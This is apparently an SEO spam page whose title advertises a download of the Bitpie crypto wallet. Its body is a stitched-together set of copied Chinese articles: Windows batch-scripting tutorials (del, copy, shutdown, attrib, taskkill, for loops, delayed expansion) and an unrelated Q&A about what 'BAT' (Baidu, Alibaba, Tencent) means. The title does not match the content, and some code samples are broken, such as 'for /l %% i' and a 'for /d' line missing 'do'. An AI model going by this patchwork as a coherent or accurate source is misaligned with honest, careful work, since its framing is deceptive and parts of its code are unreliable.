比特派官方下载安装|bat

作者: 比特派官方下载安装
2024-03-07 17:13:59

BAT批处理基本命令总结 - 知乎

BAT批处理基本命令总结 - 知乎首发于电子电路开发学习切换模式写文章登录/注册BAT批处理基本命令总结王超BAT文件 bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名- 为 .bat 或 .cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。 访问网址explorer http://www.baidu.com打开文件夹或文件打开文件夹start D:\文件夹1打开文件start D:\文件夹1\test.txt删除文件删除当前目录下的test.txt文件del test.txt删除上级目录下的test.txt文件del ..\test.txt删除当前目录TEST文件夹下的所有.o文件del .\TEST\*.o复制文件复制当前目录下所有txt文件到文件夹1,文件夹1需要已经创建 copy *.txt 文件夹1复制文件1到文件夹1、文件2到文件夹2、支持多个文件操作,同时支持上级及下级文件路径copy file1.txt 文件夹1

copy file2.txt 文件夹2复制桌面文件到D盘根目录,使用绝对路径copy C:\Users\user\Desktop\welcome.txt D:\重命名修改文件扩展名,所有txt扩展名改为mp3扩展名ren *.txt *.mp3

ren *.gif *.jpg修改文件名称,把aa.txt改为bb.cren aa.txt bb.c创建文件夹创建三个文件夹1md 文件夹1

md 文件夹2

md 文件夹3创建文件当前目录创建a.txt文件cd.>a.txt把hex文件的第一行之后的内容写入新文件more +1 "..\OBJ\output.hex">"..\OBJ\flash_after_del_hex_line1.hex"删除Keil编译产生的垃圾文件%删除OBJ目录下的多余文件%

del ..\OBJ\*.lnp /s

::del ..\OBJ\*.opt /s ::不允许删除JLINK的设置

del ..\OBJ\*.__i /s

del ..\OBJ\*.crf /s

del ..\OBJ\*.o /s

del ..\OBJ\*.d /s

%删除USER目录下的多余文件%

del *.map /s

del *.lst /s

del *.dep /s

echo 编译产生的其他文件已经删除提取文件名提取当前目录下扩展名为mp3的文件名,输出到mp3文件名.txtdir *.mp3 /b>mp3文件名.txt提取当前目录下的“深度睡眠”文件夹下的所有mp3文件名到文件dir .\深度睡眠\*.mp3 /b>mp3文件名.txt提取当前目录下所有文件的文件名到a.txtdir c:\*.* >a.txt输出文件的绝对路径信息输出当前目录下mp3文件dir *.mp3/b/s>MP3文件信息.txtMP3文件信息.txt的内容D:\Music\深度睡眠\01.细水长流.mp3

D:\Music\深度睡眠\02.花絮轻撒.mp3

D:\Music\深度睡眠\03.爱的轮回.mp3

D:\Music\深度睡眠\04.月影摇曳.mp3

D:\Music\深度睡眠\05.逐梦.mp3

D:\Music\深度睡眠\06.萦绕天使.mp3

D:\Music\深度睡眠\07.夜宴.mp3开启电脑热点开启电脑无线,设置用户名和密码netsh wlan set hostednetwork mode=allow LAPTOP key=1234567890

netsh wlan start hostednetwork

pause关闭热点netsh wlan stop hostednetwork

pause查看当前热点信息netsh wlan show hostednetwork

pause执行另一个批处理文件call c:\code\run.bat自动关机300s 后自动关机shutdown -s -t 300取消自动关机shutdown -a立刻重启shutdown -r -t 0自动休眠60s后休眠shutdown -h -t 60隐藏文件夹attrib +s +h D:\Secret取消隐藏文件夹attrib -s -h D:\Secretattrib命令attrib +/-r

attrib +/-a

attrib +/-s

attrib +/-h

+ 设置属性

- 清除属性

r 只读属性

a 存档属性

s 系统属性

h 隐藏属性历史精选文章:Jlink使用技巧之虚拟串口功能 Jlink使用技巧之读取STM32内部的程序 Jlink使用技巧之J-Scope虚拟示波器功能 Jlink使用技巧之单独下载HEX文件到单片机 百度智能手环方案开源(含源码,原理图,APP,通信协议等) elf格式转换为hex格式文件的两种方法 欢迎大家关注我的个人博客或微信扫码关注我的公众号http://weixin.qq.com/r/1ynN1TvER2Y4rX_293zF (二维码自动识别)编辑于 2020-02-26 15:26BAT(百度、阿里巴巴、腾讯)单片机批处理​赞同 367​​28 条评论​分享​喜欢​收藏​申请转载​文章被以下专栏收录电子电路开发学习公众号:电子电路开发学习,同步

互联网上说的 BAT 三强是什么意思? - 知乎

互联网上说的 BAT 三强是什么意思? - 知乎首页知乎知学堂发现等你来答​切换模式登录/注册互联网互联网上说的 BAT 三强是什么意思?关注者82被浏览297,823关注问题​写回答​邀请回答​好问题​2 条评论​分享​16 个回答默认排序赵灿通信行业产品经理,谋求向移动互联网侧转型​ 关注B=百度;A=阿里巴巴;T=腾讯;BAT是对三者的综述;“三强”顾名思义,是指在现阶段的国内互联网市场上,这三家公司在事实上取得了阶段性的领先,有着公认的江湖地位。不过,江山代有才人出,移动互联网行业这几年发展很快,虽然目前BAT地位稳固且积极谋求顺应时势,却不能断言它们能够持续领先。曾经的三强是新浪、搜狐、网易三大门户网站,现在是BAT,未来呢?让我们一起拭目以待!编辑于 2013-05-03 18:09​赞同 114​​8 条评论​分享​收藏​喜欢收起​知乎用户​BaiduAlibabaTencent发布于 2013-05-03 18:07​赞同 22​​添加评论​分享​收藏​喜欢

解放双手! bat 批处理自动化运行程序 - 知乎

解放双手! bat 批处理自动化运行程序 - 知乎切换模式写文章登录/注册解放双手! bat 批处理自动化运行程序Eric SunStay hungry, keep cool.bat 批处理脚本是 Windows 系统上用于批量执行任务的脚本,其后缀名为 .bat。利用批处理文件与“胶水语言” Python 相结合,能解决很多情况下程序的自动化运行问题,为学习、科研、工作上带来很大的便利。近来做科研项目,需要运行某一个模型软件数十次乃至上百次。此前对 bat 批处理的了解比较有限,借此机会完成项目的机会,对常用的 bat 脚本做了一个简单的入门学习。特此对过程中学习到的知识点作简要总结,也希望对未“入坑”者有所帮助。命令总结echo“echo”一词英文本意为“发出回声”、“产生回响”,大致相当于 Python 中的 print 函数,可以在 cmd 窗口中显示消息,也有打开和关闭回显的功能。常用的代码有以下两种:在屏幕上打印“hello world”echo hello world关闭运行命令本身的显示@echo off@加在其他命令行最前面,表示运行时不显示该命令行本身。@echo Now starting the model...call从一个批处理程序调用其他批处理程序,而不终止原来的程序。举个例子,下面的命令调用 Anaconda 的 activate.bat 脚本,使用该操作可以在 cmd 窗口中激活某一环境。call D:\Commonsoftware\Anaconda\Scripts\activate.bat

call activate myenv其中,myenv 是需要激活的环境名称。pause在执行完命令后显示“请按任意键继续···”字样。该命令一般用来调试程序,确保批处理代码在执行中没有出现任何问题。常放在 bat 文件末尾和其他想终止程序的地方。REMbat 文件注释。对应的 Notepad++ 的快捷键为 Ctrl+k (单行、多行注释)& Ctrl+q (区块注释)。if批处理中执行条件处理的语句。首先,需要了解 bat 文件中比较运算符的有效值。\begin{array}[b]{|c|c|c|c|} \hline \textbf{运算符}&\textbf{描述}&\textbf{运算符}&\textbf{描述}\\\hline \mathrm{EQU}&等于&\mathrm{LEQ}&小于或等于\\\hline \mathrm{NEQ}&不等于&\mathrm{GTR}&大于\\\hline \mathrm{LSS}&小于&\mathrm{GEQ}&大于或等于\\\hline \end{array} 下面来看一个例子。@echo off

set /a a=123

set /a b=456

if %a% geq %b% (

echo %a%^>=%b%

) else (

echo %a%^<%b%

)

pause需要注意的是,if 语句后的括号必须要写在与其同一行的末尾。此外,在进行字符串比较时,if 后加 /i 命令可强制字符串比较时忽略大小写。choice此命令本意是显示信息并暂停批处理程序,让用户在做一些交互的选择。比如 Anaconda 中安装 Python 包时的提示是否安装的 [y/n] 就是利用的这个命令。有时,利用此命令占用内存较小、计时较为精确的特点,可以用此命令进行计时,程序会等待特定的时间,再执行下面的命令。以下语句表示等待 10 秒再执行批处理程序。choice /t 10 /d y /n >nul值得注意的是,用该命令计时有个缺陷:只能计时 0~9999 秒之内的时间(约 2.7 小时,但一般情况还是够用的)。for循环命令。直接看代码:REM 1

@echo off

for %%a in (1, 1, 5) do (

echo %%a

)

pause执行结果:1

1

5以上代码表示,变量 a 在集合 (1, 1, 5) 中进行遍历,然后回显出值。@echo off

for /l %%a in (1, 1, 5) do (

echo %%a

)

pause执行结果:1

2

3

4

5以上代码表示,变量 a 从 1 开始,步长为 1,终值为 5,进行循环。两段代码的区别在于,第二段代码在 for 循环开始时,多了 /l 参数。setlocal启动批处理文件中环境变量的本地化。通俗地讲,该命令执行后会使得批处理程序对局部变量进行修改,而不是始终保持全局变量的值。如果这里没有看懂的话,请比较以下两段代码就清楚了:REM 1

@echo off

set /a a=123

if %a% equ 123 (

set /a a=%a%*2

echo %a%

) else (

echo %a% not equal to 123

)

pause执行结果为:123。REM 2

@echo off

set /a a=123

setlocal enableDelayedExpansion

if !a! equ 123 (

set /a a=!a!*2

echo !a!

) else (

echo !a! not equal to 123

)

pause执行结果为:246。执行结果差异的原因在于第 1 段代码没有开启环境变量的本地化,因此在设置变量值后,引用变量时仍然是全局变量的值;使用 setlocal 指令后,解决了这一问题。显然,第 2 段代码是我们预期的结果。比较这两段代码可以发现,使用 setlocal 主要需要注意以下两点:需要声明 setlocal enableDelayedExpansion ;变量引用形式均为 !a! 。taskkill结束某一进程。常用的有以下两种用法:结束已知应用名称的某一进程;结束已知进程码的某一进程。以关闭 Notepad++.exe 程序为例举些例子:REM 1

taskkill /im notepad++.exe

REM 2

taskkill /pid 1376 -t -f进程码可以通过任务管理器查询,或者通过 cmd 运行 tasklist 获取。参数 -t 表示结束该进程,-f 表示强制结束该进程及所有子进程。代码总结自动化运行 IPython有时想启动 Ipython 做个简单的计算或者验证,与打开 Spyder 或者 PyCharm 等 IDE 相比,此时调出 Ipython 最为方便省时间。但打开 Anaconda Prompt 又需要输入激活环境等命令,比较麻烦。使用下面的命令可以大大简化这样的问题。REM ip.bat

call D:\Commonsoftware\Anaconda\Scripts\activate.bat

call activate myenv

call jupyter qtconsole如果不想把脚本防在桌面,可以配置环境变量,使用 Win+R 快捷键输入批处理文件名 ip.bat 就能方便地打开 IPython。自动化运行 Jupyter Notebook与以上情景类似,使用以下代码,轻松打开 Jupyter Notebook:E:

cd E:

call D:\Commonsoftware\Anaconda\Scripts\activate.bat

call activate myenv

start chrome http://localhost:8888/tree

call jupyter notebook

pause默认的打开文件路径在 E 盘,当然可以根据个人情况进行修改~在 cmd 窗口中写 Python语句有时在命令行窗口中想做些简单的计算或文本处理,无需再打开 Python IDE,直接在 cmd 窗口中就可以写简单的 Python 程序:python -c "import numpy as np; print(np.arange(6))"自动化运行模型回到最初的目的应用场景,下面是自动化运行某一模型或者应用程序的示例代码。cyc 是运行次数,ti 是模型运行一次的持续时间,start 语句是新建一个 cmd 窗口运行程序,&& 表示程序先后进行,即先打开程序路径再运行程序,程序中应用 Python 脚本可以进行模型的前处理和后处理。@echo off

setlocal enabledelayedexpansion

set cyc=100

set ti=3000

call D:\anaconda3\Scripts\activate.bat

call activate myenv

python model_preprocess.py

for /l %% i in (1,1,!cyc!) do (

start cmd /c "cd ./AppPath && model.exe"

choice /t !ti! /d y /n >nul

taskkill /f /im model.exe

)

python model_postprocess.py

endlocal

taskkill /f /im cmd.exe小结通过本文,基本上对批处理有了个简单的入门,对某些参数功能不清楚时,在 cmd 窗口中输入 /? 是最简单快捷的查看文档的方式;有些时候在网上复制的代码不能直接在命令行及批处理文件中应用,应将其转化为 ANSI 编码后查看没有乱码后运行才不会出错;批处理文件作为 Windows 系统的自动化处理的利器,可以做到一些 Python 脚本不能做到或者不方便做到的事情,此时简单学些批处理可以大大提高工作效率和自动化水平,但是如果 Python 脚本可以做到的事采用 Python 更方便快捷,易于调试和维护。参考文献张亮清编著《DOS/BIOS高手真经》第2版bat中if语句的用法cmd-bat批处理命令延时方法发布于 2020-04-04 18:43windows脚本命令提示符 (cmd)批处理​赞同 138​​13 条评论​分享​喜欢​收藏​申请

bat脚本:快速入门_bat代码教学-CSDN博客

>

bat脚本:快速入门_bat代码教学-CSDN博客

bat脚本:快速入门

最新推荐文章于 2023-05-24 10:20:12 发布

csfchh

最新推荐文章于 2023-05-24 10:20:12 发布

阅读量3w

收藏

312

点赞数

67

分类专栏:

Scripts

文章标签:

windows

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接:https://blog.csdn.net/csfchh/article/details/106795352

版权

Scripts

专栏收录该内容

15 篇文章

21 订阅

订阅专栏

bat脚本全称batch脚本,也称批处理文件,是Windows系统默认支持的脚本语言。本文主要介绍windows bat脚本的基础语法以及一些常用功能的实现,通过这些基础操作的组合可以编写出强大的脚本工具。

目录

1. 常用命令介绍1.0 /? 获取命令帮助说明1.1 echo和@

1.2 rem和::1.3 call和start1.3.1 call使用场景1.3.1.1 调用脚本1.3.1.2 调用命令行字符串1.3.1.3 调用带返回值的子程序1.3.1.4 变量嵌套与命令嵌套(待完善)

1.3.2 start使用场景

1.4 pause1.5 errorlevel1.6 goto和:1.7 if条件1.8 for循环1.8.1 FOR循环的4个参数 `/d` `/l` `/r` `/f`1.8.1.1 参数 `/d`1.8.1.2 参数 `/l`1.8.1.3 参数 `/r`1.8.1.4 参数 `/f`

1.8.2 FOR循环中的变量1.8.2.1 变量 `~I`,删除首尾引号("),扩展 %I1.8.2.2 变量 `%~fI`,将 %I 扩展到一个完全合格的路径名1.8.2.3 变量 `%~dI`,仅将 %I 扩展到一个驱动器号1.8.2.4 变量 `%~pI`,仅将 %I 扩展到一个路径1.8.2.5 变量 `%~nI`,仅将 %I 扩展到一个文件名1.8.2.6 变量 `%~xI`,仅将 %I 扩展到一个文件扩展名1.8.2.7 变量 `%~sI`,扩展的路径只含有短名1.8.2.8 变量 `%~aI`,将 %I 扩展到文件的文件属性1.8.2.9 变量 `%~tI`,将 %I 扩展到文件的日期/时间1.8.2.10 变量 `%~zI`,将 %I 扩展到文件的大小1.8.2.11 变量 `%~$PATH:I`,查找列在路径环境变量的目录,并将 %I 扩展到找到的第一个完全合格的名称

1.9 setlocal 与 变量延迟1.10 常用符号1.10.1 `%` 批处理变量引导符1.10.2 `>` 重定向符1.10.3 `|` 命令管道符1.10.4 `^` 转义字符1.10.5 `&`、`&&`、`||` 命令组合1.10.6 `,`和`;`的区别1.10.7 % `!`变量延迟引用1.10.8 数学运算符

1.11 时间处理1.11.1 date和time1.11.2 时间延迟1.11.2.1 利用ping命令1.11.2.2 利用for循环1.11.2.3 利用vbs延迟函数1.11.2.4 利用goto循环1.11.2.5 利用timeout函数

1.11.3 一个定时任务模版1.11.4 系统定制任务

1.12 字符串处理1.12.1 中文乱码1.12.2 字符串截取1.12.3 字符串局部替换1.12.3 字符串拼接

1.13 网络管理1.13.1 ping网络嗅探1.13.2 netstat网络查看1.13.3 tracert路由跟踪

1.14 其他命令1.14.1 cls清空屏幕1.14.2 random随机数1.14.3 type显示文本文件内容1.14.4 where搜索文件所在的目录1.14.5 tasklist&taskkill进程管理

2. 文件操作2.1 文件(夹)创建2.2 文件(夹)删除2.3 文件(夹)重命名2.4 文件拷贝和移动2.5 文件(夹)查找2.5.1 dir打印指定目录下的文件列表2.5.2 tree以树状结构打印指定目录下的文件列表

2.5 文件内容查找2.5.1 find

2.6 文件目录切换

3. 界面相关3.1 title修改命令行窗口标题3.2 color修改命令行背景色、前景色3.3 修改命令行宽高3.4 设计一个用户菜单界面3.5 实现进度条

4. 变量4.1 系统变量4.2 环境变量4.3 批处理入参变量4.4 自定义变量4.5 设置网络代理

5. 调用三方应用程序5.1 调用ftp5.2 调用7-zip5.3 调用VBScript程序5.4 调用jar包5.5 调用exe程序

6. 转换为可执行文件6.1 转换成.com文件6.2 转换成.exe文件

7. 参考资料

1. 常用命令介绍

1.0 /? 获取命令帮助说明

格式:command /?

注意:

Windows 命令行不区分大小写Ctrl+C组合键来强行终止运行脚本

1.1 echo和@

echo:

回显命令内容 格式:echo [你的文字] 在命令行窗口会打印命令内容打开或关闭回显功能 格式:echo [{ on|off }]输出空行 格式:echo. 或echo, 或echo: [>文件] 相当于输入一个回车。可以作为其它命令的输入,比如echo.|time即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态答复命令中的提问 比如:C:>ECHO Y|DEL A :.,相当于执行DEL A :*.*命令时,系统确认框中直接返回Y,从而执行下一步,免去手动确认的过程建立新文件或增加文件内容 格式:ECHO >文件名或ECHO 文件内容>>文件名;使喇叭鸣响 格式:ECHO ^G ^G是在dos窗口中用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响 @:表示本条命令不回显,仅在本条命令生效,优先级高于echo off;

示例:

:: ===基础使用===

:: 一般脚本执行时不需要打印每条命令的具体内容,所以推荐在脚本起始位置就设置关闭全局echo,需要显示信息时使用echo命令打印提示信息

@echo off

echo hello world

:: 开启全局echo回显

@echo on

:: ===高阶用法===

:: 使用echo创建文件

echo>test.bat

:: 使用echo为文件写数据,会覆盖

echo ::我是第1行>test.bat

:: 使用echo为文件追加内容,不覆盖

echo ::我是第2行>>test.bat

:: 输出换行符(空行)

echo. >>test.bat

:: 输出

call test.bat

:: type表示打印文件内容到窗口

type test.txt

1.2 rem和::

rem:注释,支持echo回显;:::注释,不支持echo回显,不能在()语句块中使用。

扩展:冒号后紧跟一个非字母数字的一个特殊符号其实都等价于双冒号,目的是使goto无法识别;

示例

@echo on

rem 这是注释内容,由于指定了echo on,命令行会打印这段注释

:: 这也是注释内容,但是不支持回显

@echo off

1.3 call和start

call:调用另一个批处理文件,如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令;start:批处理中调用外部程序的命令(该外部程序在新窗口中运行,批处理程序继续往下执行,不理会外部程序的运行状况),如果直接运行外部程序则必须等外部程序完成后才继续执行剩下的指令

1.3.1 call使用场景

1.3.1.1 调用脚本

:: 调用另一个脚本,并在执行结束后返回本脚本

:: filename 参数必须具有 .bat 或 .cmd 扩展名

call autoexec.bat 参数1 参数2

1.3.1.2 调用命令行字符串

:: 如果不用call,而直接运行%cmdstr%,将显示结果%aa%,而不是123456

set aa=123456

set cmdstr=echo %aa%

call %cmdstr%

pause

1.3.1.3 调用带返回值的子程序

这里重点关注getSum中shift的用法,默认右移1位,即shift等价于shift /1。 以本demo为例:%1在没有右移时表示第一个入参,在shift /1之后,%1指向的是原%2的入参。

@echo off

rem 调用getString子程序

call :getString return

echo return = %return%

pause

@echo off

set sum=0

call :getSum 1 2 3 4 5

echo sum = %sum%

pause

goto :eof

rem 利用入参实现返回值

:getString

set %1=from sub script

goto :eof

rem 利用全局变量实现返回值

:getSum

set /a sum+=%1

shift /1

if not "%1"=="" goto getSum

goto :eof

1.3.1.4 变量嵌套与命令嵌套(待完善)

比如设变量word为“abcdefghij”,变量num为“123456789” %word:~4,1%为e,其中4可以从变量num中取值,即%num:~3,1%,写成组合形式如下: %word:~%num:~3,1%,1% 经测试这种写法不能正确执行,写成%word:~(%num:~3,1%),1%同样不行,那么,怎么实现这种变量嵌套呢?这就必须结合命令嵌套。

什么是命令嵌套呢?简单的说,首先用一条dos命令生成一个字符串,而这个字符串是另一条dos命令,用call语句调用字符串将其执行,从而得到最终结果。

示例:

@echo off

set word=abcdefghij

set num=123456789

echo %word:~%num:~2,1%,1%

1.3.2 start使用场景

start命令示例:

:: 调用文件管理器打开D盘

start explorer d:\

:: 打开命令行窗口

start cmd

1.4 pause

暂停并运行显示:请按任意键继续. . . 要显示其他提示语,可以这样用:Echo 其他提示语 & pause > nul

1.5 errorlevel

程序返回码,格式:echo %errorlevel%。 每个命令运行结束,可以用这个命令行格式查看返回码,用于判断刚才的命令是否执行成功,成功为0(默认值),失败为1。

:: 调用脚本并打印执行结果

call autoexec.bat & echo %errorlevel%

1.6 goto和:

在批处理中允许以“:XXX”来构建一个标号,然后用GOTO XXX跳转到标号:XXX处,然后执行标号后的命令。执行逻辑有点类似于do…while,使用goto可以实现比for语句更复杂的循环逻辑。 示例:

@echo off

:: 打印1234

:start

set /a var+=1

echo var = %var%

if %var% leq 3 goto start

pause

1.7 if条件

语法格式:

IF [NOT] ERRORLEVEL number commandIF [NOT] string1==string2 commandIF [NOT] EXIST filename command

增强用法:IF [/I] string1 compare-op string2 command

[/I] 加上/I就不区分大小写了!EQU - 等于NEQ - 不等于LSS - 小于LEQ - 小于或等于GTR - 大于GEQ - 大于或等于

示例:配合else使用:

IF EXIST filename (

del filename

) ELSE (

echo filename missing

)

示例:if else if else嵌套

@echo off

rem 可读性好,兼容性好

setlocal EnableDelayedExpansion

set option=2

set sum=-1

if %option% == 3 (

echo three

set /a sum=%option%*%option%*%option%

) ^

else if %option% == 2 (

echo two

if not %sum% equ -1 set /a sum=2*%option%

) ^

else if %option% == 1 (

echo one

set /a sum=%option%

) ^

else (

echo zero

set /a sum=0

)

echo sum = !sum!

pause

示例:根据上一个命令执行结果确定下一步命令

@echo off

dir c:

:: 退出代码为>=1就跳至标题1处执行,>=0就跳至标题0处执行

IF ERRORLEVEL 1 goto 1

IF ERRORLEVEL 0 goto 0

:: 上面的两行不可交换位置,否则失败了也显示成功。

:0

echo 命令执行成功!

:: 程序执行完毕跳至标题exit处退出

goto exit

:1

echo 命令执行失败!

:: 程序执行完毕跳至标题exit处退出

goto exit

:exit

pause

示例:文件是否存在

echo off

IF EXIST autoexec.bat echo 文件存在!

IF not EXIST autoexec.bat echo 文件不存在!

1.8 for循环

基本格式:FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母表示可替换的参数。(set) 指定一个或一组文件名,可以使用通配符。command 指定对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。

1.8.1 FOR循环的4个参数 /d /l /r /f

1.8.1.1 参数 /d

使用格式:FOR /D %%variable IN (set) DO command [command-parameters] 作用:指定遍历范围为当前目录,且遍历对象仅为文件夹不包含文件类型

如果 set 中包含通配符(* 和 ?),将对与 set 相匹配的每个目录(而不是指定目录中的文件组)执行指定的 Command。这个参数主要用于目录搜索,不会搜索文件。

# 打印c盘根目录所有文件夹名称

@echo off

for /d %%i in (c:\*) do echo %%i

pause

# 打印c盘根目录名字只有1-3个字母的文件夹

for /d %%i in (c:\???) echo %%i

pause

1.8.1.2 参数 /l

使用格式:FOR /L %%variable IN (start,step,end) DO command [command-parameters] 作用:明确循环次数和步长

表示以增量形式从开始到结束的一个数字序列。比如:(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。

1.8.1.3 参数 /r

使用格式:FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters] 作用:指定递归遍历范围为/r后面的路径,遍历对象含文件和文件夹

检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符或则具体的文件名(不含通配符),则忽略set枚举该目录树。

@echo off

:: 递归遍历指定路径

for /r e: %%i in (*.exe) do echo %%i

:: 递归遍历当前路径

for /r %%i in (*.exe) do echo %%i

pause

1.8.1.4 参数 /f

逐行遍历文本文件、文本、命令行中的字符串

使用格式: FOR /F [“options”] %%variable IN (file-set) DO command [command-parameters] FOR /F [“options”] %%variable IN (“string”) DO command [command-parameters] FOR /F [“options”] %%variable IN (‘command’) DO command [command-parameters] 作用:遍历读取文件、字符串、命令行中指定内容执行相应操作

其中, [“options”]为一个或多个解析选项,选项之间用空格断开,这些解析选项包括:

eol=c - 指一个行注释字符的结尾(就一个)(备注:默认以使用;号为行首字符的为注释行)skip=n - 指在文件开始时忽略的行数,(备注:最小为1,n可以大于文件的总行数,默认为1。)delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。m-n格式为一个范围。

非常抽象,直接看示例:

@echo off

rem 首先建立临时文件test.txt

echo ;注释行,这是临时文件,用完删除 >test.txt

echo 11段 12段 13段 14段 15段 16段 >>test.txt

echo 21段,22段,23段,24段,25段,26段 >>test.txt

echo 31段-32段-33段-34段-35段-36段 >>test.txt

FOR /F "eol=; tokens=1,3* delims=,- " %%i in (test.txt) do echo %%i %%j %%k

Pause

Del test.txt

运行显示结果:

11段 13段 14段 15段 16段 21段 23段 24段,25段,26段 31段 33段 34段-35段-36段 请按任意键继续. . .

解析: eol=; 分号开头的行为注释行 tokens=1,3* 将每行第1段,第3段和剩余字段分别赋予变量%%i,%%j,%%k delims=,- (减号后有一空格)以逗号减号和空格为分隔符,空格必须放在最后

再看一个command的示例:

@echo off

FOR /F "delims=" %%i in ('net user') do @echo %%i

pause

运行结果: 本机全部帐号名字就出来了

解析: 把扩号内的内容用两个单引号引起来就表示那个当命令执行,FOR会返回命令的每行结果,加那个"delims=" 是为了让我空格的行能整行显示出来,不加就只显示空格左边一列!

1.8.2 FOR循环中的变量

1.8.2.1 变量 ~I,删除首尾引号("),扩展 %I

示例:

@echo off

echo ^"1111>temp.txt

echo "2222">>temp.txt

echo 3333^">>temp.txt

echo "4444"44>>temp.txt

echo ^"55"55"55>>temp.txt

rem 上面建立临时文件,注意不成对的引号要加转义字符^,重定向符号前不要留空格

FOR /F "delims=" %%i IN (temp.txt) DO echo %%~i

pause

del temp.txt

执行结果: 1111 #字符串前的引号被删除了 2222 #字符串首尾的引号都被删除了 3333" #字符串前无引号,后面的引号保留 4444"44 #字符串前面的引号删除了,而中间的引号保留 55"55"55 #字符串前面的引号删除了,而中间的引号保留

总结规律: 无头不删,有头连尾删,中间不删

1.8.2.2 变量 %~fI,将 %I 扩展到一个完全合格的路径名

示例:

@echo off

# 打印当前目录下所有文件的绝对路径

for /f %%i in ('dir /b') do echo %%~fi

# 打印当前目录下所有文件的文件名

:: for /f %%i in ('dir /b') do echo %%i

执行结果: C:\Documents and Settings\Administrator\桌面\test.bat C:\Documents and Settings\Administrator\桌面\test.vbs

1.8.2.3 变量 %~dI,仅将 %I 扩展到一个驱动器号

示例:

FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~di

pause

执行结果: C: C:

1.8.2.4 变量 %~pI,仅将 %I 扩展到一个路径

注意:所谓的路径就是文件所在目录,及parent的绝对路径,注意与%%~fI区别

1.8.2.5 变量 %~nI,仅将 %I 扩展到一个文件名

示例:

# 只打印文件名(不含拓展名)

for /f %%i in ('dir /b') do echo %%~ni

# 打印文件名(含拓展名)

for /f %%i in ('dir /b') do echo %%i

1.8.2.6 变量 %~xI,仅将 %I 扩展到一个文件扩展名

只打印文件拓展名

1.8.2.7 变量 %~sI,扩展的路径只含有短名

好像跟%%~fI效果一样

1.8.2.8 变量 %~aI,将 %I 扩展到文件的文件属性

打印出来的东西,应该是读写权限之类的: –a--------

1.8.2.9 变量 %~tI,将 %I 扩展到文件的日期/时间

打印文件日期

1.8.2.10 变量 %~zI,将 %I 扩展到文件的大小

打印文件大小

1.8.2.11 变量 %~$PATH:I,查找列在路径环境变量的目录,并将 %I 扩展到找到的第一个完全合格的名称

如果环境变量名未被定义,或者没有找到文件,此组合键会扩展到空字符串

# 在PATH变量里指定的路径里搜索notepad.exe文件,如果有notepad.exe则会把他所在绝对路径打印出来,没有就打印一个错误!

@echo off

FOR /F "delims=" %%i IN (“notepad.exe”) DO echo %%~$PATH:i

pause

执行结果: C:\WINDOWS\system32\notepad.exe

1.9 setlocal 与 变量延迟

现象:

@echo off

set a=4

set a=5 & echo %a%

pause

结果:4 解说:批处理读取命令时是按行读取的(另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行),在处理之前要完成必要的预处理工作,这其中就包括对该 行命令中的变量赋值。我们现在分析一下例1,批处理在运行到这句“set a=5 & echo %a%”之前,先把这一句整句读取并做了预处理——对变量a赋了值,那么%a%当然就是4了!(没有为什么,批处理就是这样做的。)

@echo off

setlocal enabledelayedexpansion

set a=4

set a=5 & echo !a!

pause

结果:5

@echo off

setlocal enabledelayedexpansion

for /l %%i in (1,1,5) do (

set a=%%i

echo !a!

)

pause

结果:

1 2 3 4 5

例:交换两个变量的值,且不用中间变量

@echo off

::目的:交换两个变量的值,但是不使用临时变量

::Code by JM 2007-1-24 [email=CMD@XP]CMD@XP[/email]

::出处:http://www.cn-dos.net/forum/viewthread.php?tid=27078

set var1=abc

set var2=123

echo 交换前: var1=%var1% var2=%var2%

set var1=%var2%& set var2=%var1%

echo 交换后: var1=%var1% var2=%var2%

pause

1.10 常用符号

1.10.1 % 批处理变量引导符

引用变量用%var%,调用程序外部参数用%1至%9等等

%0 批处理文件本身,包括完整的路径和扩展名,可以调用批处理自身,以达到批处理本身循环的目的,也可以复制文件自身等等%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数

:: 最简单的复制文件自身的方法

copy %0 d:\wind.bat

1.10.2 > 重定向符

DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向,可以方便地将输入输出改向磁盘文件或其它设备。

大于号>将命令发送到文件或设备,例如打印机>prn。使用大于号“>”时,有些命令输出(例如错误消息)不能重定向。双大于号>>将命令输出添加到文件结尾而不删除文件中已有的信息。小于号<从文件而不是键盘上获取命令所需的输入。>&符号将输出从一个默认I/O流(stdout[1],stdin[0],stderr[2])重新定向到另一个默认I/O流。<&和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中1>nul 表示禁止输出正确的信息, 2>nul 表示禁止输出错误信息。

@echo off

set /p str=<%0

echo %str%

运行显示批处理文件自身的第一行:@echo off

1.10.3 | 命令管道符

格式:第一条命令 | 第二条命令 [| 第三条命令…] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

:: 查找C:\所有,并发现TXT字符串

dir c:\|find "txt"

1.10.4 ^ 转义字符

^是对特殊符号<,>,&的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅只把他们当成符号而不使用他们的特殊意义。

@echo off

echo test ^>1.txt

# 结果则是:test > 1.txt

echo a^

b^

c

# 输出abc不换行

1.10.5 &、&&、|| 命令组合

&:前一个命令执行失败不影响后边的命令执行;&&:前一个命令执行失败,后边的命令将不执行;||:前一个命令失败才执行后一个命令;

